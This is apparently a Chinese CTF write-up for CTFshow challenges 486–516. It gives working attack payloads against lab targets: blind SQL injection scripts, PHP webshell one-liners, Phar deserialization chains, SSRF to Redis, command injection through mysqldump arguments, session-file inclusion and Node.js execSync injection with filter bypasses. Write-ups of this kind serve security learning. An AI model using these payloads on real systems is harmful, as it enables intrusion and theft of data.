CTFshow——中期测评

前言

一个网站给群主大大搞了那么多题,。不过做到后面根本做不动,我太菜了,爬了爬了,等晚一点再爬回来看看师傅们怎么解的。

文章目录

        • 前言
        • 486——目录穿越
        • 487——SQL
        • 488——
        • 489——
        • 490——
        • 491——
        • 492——
        • 493——
        • 494、495——
        • 496——bool盲注
        • 497——SSRF
        • 498——SSRF、redis
        • 499——
        • 500——
        • 501——
        • 502——
        • 503——文件上传+Phar反序列化
        • 504——(┭┮﹏┭┮)
        • 505——
        • 506——
        • 507——data://伪协议
        • 508——
        • 509——
        • 510——session文件包含
        • 511——(┭┮﹏┭┮)
        • 512~514——(┭┮﹏┭┮)
        • 515——Node.js
        • 516——Node.js

486——目录穿越

目录穿越,淦,一开始就想着SQL注入,虽然尝试好一会就感觉没有跟数据库的交互。还是对URL的观察不仔细啊
在这里插入图片描述

/index.php?action=../index
/index.php?action=../flag

487——SQL

读index文件

?action=../index

发现SQL语句:

select id from user where username = md5('$username') and password=md5('$password') order by id limit 1

没有任何过滤,直接写脚本进行bool盲注

payload="username=') || if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))<{},1,0)%23&password=1".format(i,mid)
payload="username=') || if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{},1))<{},1,0)%23&password=1".format(i,mid)
payload="username=') || if(ascii(substr((select/**/group_concat(flag)from(flag)),{},1))<{},1,0)%23&password=1".format(i,mid)

还可以用写文件的方式外带查询内容,不过文件要放在/tmp下,因为那里有写权限

?action=check&username=1') union select flag from flag into dumpfile '/tmp/4.php'%23&password=1

查询:index.php?action=../../../../../tmp/6

488——

爬了,这题没想过遍历读取文件,关键是我不知道文件名啊…看了师傅们遍历的文件才知道的…

?action=…/index

$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";

if($action=='check'){
     
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
     
		templateUtil::render('index',array('username'=>$username));
	}else{
     
		templateUtil::render('error',array('username'=>$username));
	}
}

?action=…/render/render_class

ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
     
	public static function render($template,$arg=array()){
     
		if(cache::cache_exists($template)){
     
			echo cache::get_cache($template);
		}else{
     
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
     
		foreach ($arg as $key => $value) {
     
			$templateContent=str_replace('{
     {'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}
}

?action=…/render/cache_class

class cache{
     
	public static function create_cache($template,$content){
     
		if(file_exists('cache/'.md5($template).'.php')){
     
			return true;
		}else{
     
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
     
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
     
		return file_exists('cache/'.md5($template).'.php');
	}

}

关键是fileUtil::write('cache/'.md5($template).'.php',$content);,会在cache目录下写入一个文件,文件名出自这里:templateUtil::render('error',array('username'=>$username));SQL语句查询不出文件名就是error.php;内容出自:

foreach ($arg as $key => $value) {
     
	$templateContent=str_replace('{
     {'.$key.'}}', $value, $templateContent);
}

其中$templateContent,是error.php中的信息,$arg就是username的键值对,所以也就是说我们的username信息会写入到/cache/md5(error).php中。

因此username我们传入一句话木马:

?action=check&username= eval($_POST[1]);?>&password=1

访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php

http://b5fd7136-9ff8-4c61-ba24-6dfe3bfb6674.challenge.ctf.show:8080/cache/cb5e100e5a9a3e7f6d1fd97512215282.php

1=system("cat /f*");
if($action=='check'){
     
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	extract($_GET);
	$user=db::select_one($sql);
	if($user){
     
		templateUtil::render('index',array('username'=>$username));
	}else{
     
		templateUtil::render('error');
	}
}

489——

if($action=='check'){
     
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	extract($_GET);
	$user=db::select_one($sql);
	if($user){
     
		templateUtil::render('index',array('username'=>$username));
	}else{
     
		templateUtil::render('error');
	}
}

多了个extract函数可以变量覆盖,而且只有利用Index文件而不是error文件。
想着像上题那样写个马的,但一直没成功。只好变量覆盖$sql进行盲注,对flag文件盲注

payload="select id from user where id=if(ascii(substr((select load_file('/flag')),{},1))<{},1,0)".format(i,mid)

490——

配合union select即可控制username,注意有个anction=clear的功能,没成功记得清理cache文件否则不能写入

?action=check&username=-1' union  select 0x6576616c28245f504f53545b315d293b20 %23&password=1

0x6576616c28245f504f53545b315d293b20eval($_POST[1]); 

访问:

/cache/6a992d5529f459a44fee58c733255e86.php

1=system("cat /f*");

491——

盲注yyds

payload="index.php?action=check&username=' or if(ascii(substr((select load_file('/flag')),{},1))<{},0,1)%23".format(i,mid)

也可以这样,不过我尝试写马上去是不成功的,写上去的马直接被当成注释了,后台过滤?只好直接读文件了

?action=check&username=-1' union select load_file("/flag") into outfile "/tmp/7.php"--+&password=1

访问:

?action=../../../../../../../tmp/7

492——

if($action=='check'){
     
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
     
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$user=db::select_one_array($sql);
	}
	if($user){
     
		templateUtil::render('index',$user);
	}else{
     
		templateUtil::render('error');
	}
}

extract函数的存在使得我们可以控制变量,这里有一个正则匹配,$username只能是数字字母才能进行查询得到$user,接着就是把$user写入缓存中去,然后就是和一开始的做法一样。如果只能是数字字母,似乎做不到SQL注入

可我们可以不满足正则,因为我们也可以通过extract控制$user啊

?action=check&username=;&user[username]=--> eval($_POST[1]);?><!--&password=1

$user[username]不要写成$user['username']
访问:

cache/6a992d5529f459a44fee58c733255e86.php

1=system("cat /f*");

493——

关键代码如下:

//action=../index.php
$action=$_GET['action'];
if(!isset($action)){
     
	if(isset($_COOKIE['user'])){
     
		$c=$_COOKIE['user'];
		$user=unserialize($c);
		if($user){
     
			templateUtil::render('index');
		}
......

//action=../render/db_class
class db{
     
	public $db;
	public $log;
	public function __construct(){
     
		$this->log=new dbLog();
	}

	}
	public function __destruct(){
     
		$this->log->log($this->sql);
	}
}
class dbLog{
     
	public $sql;
	public $content;
	public $log;

	public function log($sql){
     
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
     
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

首先index.php中有反序列化的入口,接着看db类中的析构方法,它会调用dbLog类中的log方法,再看dbLog类中的log方法,不适合利用。但dbLog类中的析构方法却是file_put_content(),两个参数都是能被控制的,因此利用dbLog类中的析构方法就能写一句话木马。

反序列化构造如下:


class db{
     
	
	public $log;
    public function __construct(){
     
        $this->log=new dblog();
    }
}

class dbLog{
     
	public $content='';
	public $log='/var/www/html/2.php';
    
}

echo urlencode(serialize(new db()));
//O%3A2%3A%22db%22%3A1%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F2.php%22%3B%7D%7D

将得到的值放到cookie中并访问index.php就会生成2.php。

494、495——

还是上题的操作,只不过flag放在了数据库中,蚁剑连接数据库即可
CTFshow——中期测评_第1张图片

CTFshow——中期测评_第2张图片

496——bool盲注

又是日常找错盲注点…这题一开始以为直接在index.php中盲注,结果并不可以…
看师傅们的盲注点才发现还有一个/api/admin_edit.php页面,我们先正常登录后台,然后有一处修改资料的页面,信息会提交到/api/admin_edit.php
CTFshow——中期测评_第3张图片
可以看到有一处变量覆盖、一处update的SQL语句,就在这里进行bool盲注:

///api/admin_edit.php
if($user){
     
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
     
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
     
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
     
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

注意要先进行一次登录,用session提交请求,且覆盖的变量是user[username],而不是bp抓包中的username

import requests
import random

url1='http://dd1b1b6c-c41c-4f92-b352-808c77e32e7d.challenge.ctf.show:8080/api/admin_edit.php'
url2="http://dd1b1b6c-c41c-4f92-b352-808c77e32e7d.challenge.ctf.show:8080/index.php?action=check"
data={
     
    "username":"' || 1#",
    "password":1
}
session=requests.session()
session.post(url=url2,data=data)

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        mid=min+(max-min)//2
        if min==mid:
            flag+=chr(mid)
            print(flag)
            if chr(mid)=='}':
                exit()
            break

        #payload="' or if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))<{},1,0)#".format(i,mid)
        #payload="' or if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flagyoudontknow76')),{},1))<{},1,0)#".format(i,mid)
        payload="' or if(ascii(substr((select/**/group_concat(flagisherebutyouneverknow118)from(flagyoudontknow76)),{},1))<{},1,0)#".format(i,mid)

        #print(payload)

        data={
     
           'user[username]':payload,
           'nickname':random.randint(0,999999)
        }
        #print(data)
        r=session.post(url=url1,data=data).text
        #print(r)
        if  'u529f'  in r  :
            max=mid
        else:
            min=mid

497——SSRF

SSRF主要跟这段代码有关,只要控制了$value值即可利用

$ch=curl_init($value);
$result=curl_exec($ch);
public static function checkImage($templateContent,$arg=array()){
     
	foreach ($arg as $key => $value) {
     

		if(stripos($templateContent, '{
     {img:'.$key.'}}')){
     
			$encode='';
			if(file_exists(__DIR__.'/../cache/'.md5($value))){
     
				$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
			}else{
     
				$ch=curl_init($value);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				$result=curl_exec($ch);
				curl_close($ch);
				$ret=chunk_split(base64_encode($result));
				$encode = 'data:image/jpg/png/gif;base64,' . $ret;
				file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
			}
			$templateContent=str_replace('{
     {img:'.$key.'}}', $encode, $templateContent);
		}
		
	}
	return $templateContent;
}

那么如何触发呢?
$avatar就是修改头像地址的值,它会被写入$_SESSION['user']
CTFshow——中期测评_第4张图片
然后再次访问index页面时也就将$user代入render()中,从而触发SSRF
CTFshow——中期测评_第5张图片
尝试添入baidu的地址,发现确实如此
CTFshow——中期测评_第6张图片
直接file协议读本地文件

file:///flag	

498——SSRF、redis

dict://127.0.0.1:3306
dict://127.0.0.1:6379

看了一下开启了3306和6379,试了好一会3306不行,6379可以
CTFshow——中期测评_第7张图片
直接复制不用URL编码提交。最后到shell.php执行命令
CTFshow——中期测评_第8张图片

499——

gopher、file被正则匹配了,无法利用。

向/api/admin_settings.php下修改字段,写入一句话,最后访问/config/settings.php即可
CTFshow——中期测评_第9张图片

/api/admin_settings.php

title= eval($_POST[1]);?>

500——

CTFshow——中期测评_第10张图片
?action=…/api/admin_db_backup

if($user){
     
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);

能够拼接命令。

db_path=;cat /f*>/var/www/html/1.txt

CTFshow——中期测评_第11张图片

501——

多了一个正则匹配,表示要么zip开头、或者匹配到tar、或者sql结尾
开头加个zip即可绕过

if(preg_match('/^zip|tar|sql$/', $db_format)){
     
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
db_format=zip;cat /f*>/var/www/html/1.txt
db_format=zip;cp /f* /var/www/html/1.txt

502——

$db_format没法绕了,但注意$pre被拼接进去且没被过滤

if(preg_match('/^(zip|tar|sql)$/', $db_format)){
     
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
db_format=zip&pre=1;tac /f*>/var/www/html/1.txt;

503——文件上传+Phar反序列化

phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

利用条件:
1、phar文件要能够上传到服务器端。
2、有如file_exists()fopen()file_get_contents()file()等文件操作的函数
3、要有可用的魔术方法作为“跳板”。
4、文件操作函数的参数可控,且:/、phar等特殊字符没有被过滤。

首先有个头像上传点,其次之前做过反序列化的利用了,因此可以想到Phar反序列化(Ps:感觉是一个经验吧)

按照着上面利用条件来:
1、能上传文件,虽然不能是phar后缀,但可以改成图片后缀,无影响
2、存在file_exists()函数,在备份文件的地方:/api/admin_db_backup.php
CTFshow——中期测评_第12张图片
3、可以利用db类、dblog类构造反序列化利用
4、$pre$db_format都是可控的,因为extract()。没有其他的过滤

生成Phar文件:

class db{
     
	
	public $log;
    public function __construct(){
     
        $this->log=new dblog();
    }
}

class dbLog{
     
	public $content='';
	public $log='/var/www/html/2.php';
    
}

//echo urlencode(serialize(new db()));

$d=new db();

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($d); //触发的开始是C1e4r(),所以传$c   将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

运行上面这个文件得到test.phar,改后缀为png。然后上传,上传完后注意图片位置:
CTFshow——中期测评_第13张图片
然后到备份文件的功能点,发送POST请求,如下

/api/admin_db_backup.php

POST:
pre=phar:///var/www/html/img/364be8860e8d72b4358b5e88099a935a.pn&db_format=g

CTFshow——中期测评_第14张图片
执行即会生成/var/www/html/2.php。

POST:
1=system("cat /f*");

504——(┭┮﹏┭┮)

看不了源码了?不会做…

505——

可以查看源码:
CTFshow——中期测评_第15张图片
注意/api/admin_file_view.php的源码,有一个include的功能,只要是内容以user开头即可,可控

//  /api/admin_file_view.php
if($user){
     

	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
     
		include($f);
	}else{
     
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
     
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

/api/admin_templates.php的源码,可以创建一个文件,注意创建的位置

//  /api/admin_templates.php
	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{
     	
			file_put_contents(__DIR__.'/../templates/'.$name, $content);
			$ret['msg']='文件上传成功';
		}else{
     
			$ret['msg']='文件上传失败';
		}
		break;

我们创建一个user.sml,内容是:user+ 一句话
CTFshow——中期测评_第16张图片
然后访问即可:

/api/admin_file_view.php

1=system("cat+/f*");&debug=1&f=../templates/user.sml

CTFshow——中期测评_第17张图片

506——

限制了三个后缀,改成别的就好了,会做上题这题也一定会

if($user){
     

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
     
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
     
		include($f);
	}

507——data://伪协议

做这题时真的是思路窄…完全没想到用伪协议…太菜了我,师傅们tql
首先是上传的条件很苛刻了,基本不可能给你上传有关php的标签

case 'upload':
	extract($_POST);
	if(!preg_match('/php|phar|ini|settings/i', $name))
	{
     
		if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
     
			$ret['msg']='文件上传失败';
		}else{
     
			file_put_contents(__DIR__.'/../templates/'.$name, $content);
			$ret['msg']='文件上传成功';
		}

上传不行,回到/api/admin_file_view.php

extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
     
	$ret['msg']='请不要使用此功能';
	die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
     
	include($f);
}

首先是文件包含include,不仅可以是文件名也可以是各种伪协议(我没想到伪协议,太菜了),常见的

php://input
php://filter
zip://
data://
phar://

CTFshow——中期测评_第18张图片
data伪协议就适合这题,因为它能够满足 file_get_contents($f)是以user开头

f=data://text/plain,user

本地测试一下:
CTFshow——中期测评_第19张图片

CTFshow——中期测评_第20张图片

508——

用伪协议是不行了,想想能利用哪些可控的文件

//  /api/admin_file_view.php
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
     
	$ret['msg']='请不要使用此功能';
	die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
     
	include($f);
}

利用头像上传点,上传文件
内容就是user
CTFshow——中期测评_第21张图片
CTFshow——中期测评_第22张图片

509——

对头像上传的内容进行了过滤。但过滤不严谨…

// /api/admin_upload.php
if(!preg_match('/^php$/i', $ext)){
     
	if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
     
              	$ret['msg']='请不要使用此功能';
              	die(json_encode($ret));
      		}

短标签绕过,其他跟上题一样…

usereval($_POST[1]);?>

510——session文件包含

利用头像上传不大可能了,过滤了太多

if(!preg_match('/^php$/i', $ext)){
     
	if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
     
              	$ret['msg']='请不要使用此功能';
              	die(json_encode($ret));
      		}

想到了session文件包含,然后开了个上一题的环境看看phpinfo()中关于session的信息,嗯,可以利用,session_path是默认地址,也就在/tmp目录下。

但这不是最关键的,最关键是session文件中开头是user才行,然后利用查看文件查了查自己的session文件,刚好开头就是user(这绝对是群主大大故意加进去的),里面的其他信息都是基本信息,自然联想到修改信息写入一句话了

session文件的命名格式是:
sess_[PHPSESSID的值]
CTFshow——中期测评_第23张图片
CTFshow——中期测评_第24张图片
CTFshow——中期测评_第25张图片
看到已经被解析了,然后就getshell吧~

debug=1&f=../../../../../../../tmp/sess_9h1r020qtbqfo1nmofkqj3mh17&1=echo `cat /f*`;

511——(┭┮﹏┭┮)

ban了sess…没头绪了…

extract($_POST);
       if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
     
               $ret['msg']='请不要使用此功能';
               die(json_encode($ret));
       }

看Y4师傅的做法,看完也有点懵逼,模板相关的考点?

CTFshow——中期测评_第26张图片
看看源码,确实有些地方用到了{ {xx:xx}}的形式,估计是模板相关的用法

../../../../../../var/www/html/templates/index.sml

CTFshow——中期测评_第27张图片
总的来说就是不会,看了WP也不大会

512~514——(┭┮﹏┭┮)

不会啊(┭┮﹏┭┮)

515——Node.js

对user过滤很多,但我们可以转转移一下,利用req.query.a或者req.body.a转移到别的参数上

if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });
		}else{
			res.render('index', {
      title: eval(msg) });
		}
GET:
index.php?a=require("child_process").execSync("echo $FLAG")
POST:
user=eval(req.query.a)

CTFshow——中期测评_第28张图片

CTFshow——中期测评_第29张图片

516——Node.js

关键代码:

ctx.body='

Hello '+user[0].username+'

your name is: '
+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');

对password进行闭合并构造:

原本这么写的
username=aa&password=1)+eval((require("child_process").execSync("ls"))

利用反引号与加号进行字符拼接
username=aa&password=1)+eval((`req`+`uire("chi`+`ld_proce`+`ss").ex`+`ecSync("ls")`)

对加号进行URL编码
username=aa&password=1)%2beval((`req`%2b`uire("chi`%2b`ld_proce`%2b`ss").ex`%2b`ecSync("echo $FLAG")`)

CTFshow——中期测评_第30张图片
然后访问/user/+id值

回过头看看过滤了什么:

if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
     
		return
	}

你可能感兴趣的:(做题杂记~)